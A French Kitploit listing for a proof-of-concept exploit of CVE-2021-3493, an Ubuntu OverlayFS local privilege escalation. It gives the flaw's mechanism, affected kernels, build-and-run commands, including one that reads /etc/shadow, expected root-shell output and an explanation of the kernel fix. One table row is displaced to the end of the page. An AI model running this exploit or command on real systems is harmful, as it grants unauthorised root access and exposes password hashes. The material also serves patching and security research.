Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3493 — Preuve de concept en deux étapes pour CVE-2021-3493, exploitant Ubuntu OverlayFS pour escalader les privilèges d'un utilisateur non privilégié à root via la manipulation des capacités de fichier dans les espaces de noms utilisateur. | Kitploit
Outils/GitHubGitHub/0xlane/cve-2021-3493
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHub0xlane/cve-2021-3493

CVE-2021-3493

Preuve de concept en deux étapes pour CVE-2021-3493, exploitant Ubuntu OverlayFS pour escalader les privilèges d'un utilisateur non privilégié à root via la manipulation des capacités de fichier dans les espaces de noms utilisateur.

Voir le dépôt
2il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-3493 — Élévation de privilèges locale Ubuntu OverlayFS

Une preuve de concept fonctionnelle pour CVE-2021-3493, une vulnérabilité d'élévation de privilèges locale dans l'implémentation OverlayFS du noyau Ubuntu.

Un utilisateur non privilégié peut monter un système de fichiers overlay dans un espace de noms utilisateur et définir des capacités de fichier arbitraires via setxattr. Le noyau ne parvient pas à valider l'origine de l'espace de noms de ces capacités, qui prennent donc effet dans l'espace de noms utilisateur init — permettant à tout utilisateur local de s'élever à root.

Versions affectées

Cette vulnérabilité est spécifique à Ubuntu. Ubuntu intègre un correctif (FS_USERNS_MOUNT) qui autorise les montages overlay non privilégiés — les noyaux amont ne le font pas, donc le noyau Linux principal et les autres distributions ne sont généralement pas affectés.

DistributionNoyauVulnérable (corrigé dans)
Ubuntu 20.105.8< 5.8.0-50
Ubuntu 20.04 LTS5.4< 5.4.0-72
Ubuntu 18.04 LTS4.15< 4.15.0-142
Ubuntu 18.04 LTS (HWE)5.3< 5.3.0-73
Ubuntu 16.04 LTS4.4< 4.4.0-209
Ubuntu 14.04 ESM (HWE)4.4< 4.4.0-209

Source : USN-4916-1

Comment ça fonctionne

Cette PoC utilise une conception en deux étapes :

FichierRôle
exploit.cÉtape 1 — Crée un système de fichiers overlay dans un espace de noms utilisateur, copie la charge utile rootshell dans celui-ci et définit l'xattr security.capability avec toutes les capacités (all+ep)

Pourquoi deux étapes ? La PoC originale inspiringz/CVE-2021-3493 fait exécuter (exec) un shell depuis l'espace de noms utilisateur, donc uid=0 n'est qu'un mappage d'espace de noms — pas un vrai root. Cette PoC sépare la configuration overlay (processus enfant dans l'espace de noms utilisateur) de l'exécution de la charge utile (processus parent dans l'espace de noms init), garantissant une véritable élévation de privilèges.

root@kitploit:~
exploit (init ns, uid=1000)
  │
  ├─ fork → child (user ns)
  │    ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
  │    ├─ mount overlayfs
  │    ├─ copy rootshell → overlay merge dir
  │    ├─ setxattr("security.capability", all+ep)   ← vulnerability trigger
  │    └─ exit
  │
  └─ parent (init ns, uid=1000)
       └─ execl("upper/rootshell")
            ├─ kernel loads file capabilities in init ns
            │   CapPrm: 0000003fffffffff
            │   CapEff: 0000003fffffffff
            ├─ setuid(0) → success
            ├─ setgid(0) → success
            └─ exec /bin/bash → real root shell

Corrections par rapport à la PoC originale

  1. /dev/shm → /tmp : L'original utilise /dev/shm qui est monté avec nosuid, ce qui fait que le noyau ignore silencieusement les capacités de fichier lors de l'exécution. Cette PoC utilise /tmp (généralement sur ext4 sans nosuid).

  2. Charge utile en deux étapes : L'original se copie lui-même (/proc/self/exe) comme binaire porteur de capacités, mais comme l'exploit appelle unshare, le ré-exécuter le fait simplement rentrer dans un espace de noms utilisateur. Cette PoC utilise un binaire rootshell séparé qui consomme directement les capacités.

Testé sur

OSUbuntu 20.04.1 LTS (Focal Fossa)
Noyau5.4.0-65-generic (vulnérable) / 5.4.0-216-generic (corrigé)
ConfigurationInstallation par défaut d'Ubuntu Server — aucune mitigation désactivée

L'hôte de test utilise un noyau Ubuntu 20.04 standard avec toutes les fonctionnalités de sécurité par défaut intactes :

  • CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (par défaut — autorise les espaces de noms utilisateur non privilégiés)
  • CONFIG_OVERLAY_FS=m (par défaut — OverlayFS disponible en module)
  • AppArmor actif, seccomp activé, KASLR activé, stack protector, FORTIFY_SOURCE — tout par défaut
  • Aucun paramètre spécial de ligne de commande du noyau (BOOT_IMAGE=... root=... ro)

Aucune fonctionnalité de sécurité ne doit être désactivée — l'exploit fonctionne directement sur Ubuntu 20.04 par défaut avec un noyau vulnérable.

Compilation et exécution

⚠️ AVERTISSEMENT : Exécutez ceci uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester. Cet exploit accorde un accès root réel.

root@kitploit:~
make
./exploit

Le comportement par défaut génère un shell root interactif. Vous pouvez également exécuter une commande unique :

root@kitploit:~
./exploit "id && cat /etc/shadow"

Sortie attendue

root@kitploit:~
============================================
  CVE-2021-3493 OverlayFS Privilege Escalation
  Kernel: 5.4.0-65-generic
  User:   uid=1000(user) gid=1000(user)
============================================

[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...

[*] Before privilege escalation:
    uid=1000(user) gid=1000(user)
[*] Process capabilities:
    CapInh: 0000000000000000
    CapPrm: 0000003fffffffff
    CapEff: 0000003fffffffff
    CapBnd: 0000003fffffffff
    CapAmb: 0000000000000000

[+] After setuid(0) + setgid(0):
    uid=0(root) gid=0(root)

root@host:~#

Nettoyage

root@kitploit:~
make clean

Correctif du noyau

Les noyaux corrigés (par ex. >= 5.4.0-70 sur Ubuntu 20.04) mettent à niveau le format de l'xattr de capacité de v2 à v3 lorsqu'il est défini via un overlay dans un espace de noms utilisateur. Le format v3 inclut un champ rootid enregistrant l'UID réel du définisseur dans l'espace de noms init. Lors de l'exécution, le noyau vérifie rootid — s'il n'est pas 0, les capacités sont rejetées :

root@kitploit:~
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000

# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
                           ^^                                      ^^^^^^^^
                           v3                                    rootid=1000

Références

  • Avis de sécurité Ubuntu — CVE-2021-3493
  • NVD — CVE-2021-3493
  • PoC originale par inspiringz
  • Correctif du noyau (ovl: fix missing negative dentry check)

Avertissement

Ce code est fourni uniquement à des fins de recherche en sécurité et de tests autorisés. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.

Télécharger l’outil
rootshell.cÉtape 2 — Une charge utile propre qui exploite les capacités du fichier pour appeler setuid(0) et lancer un véritable shell root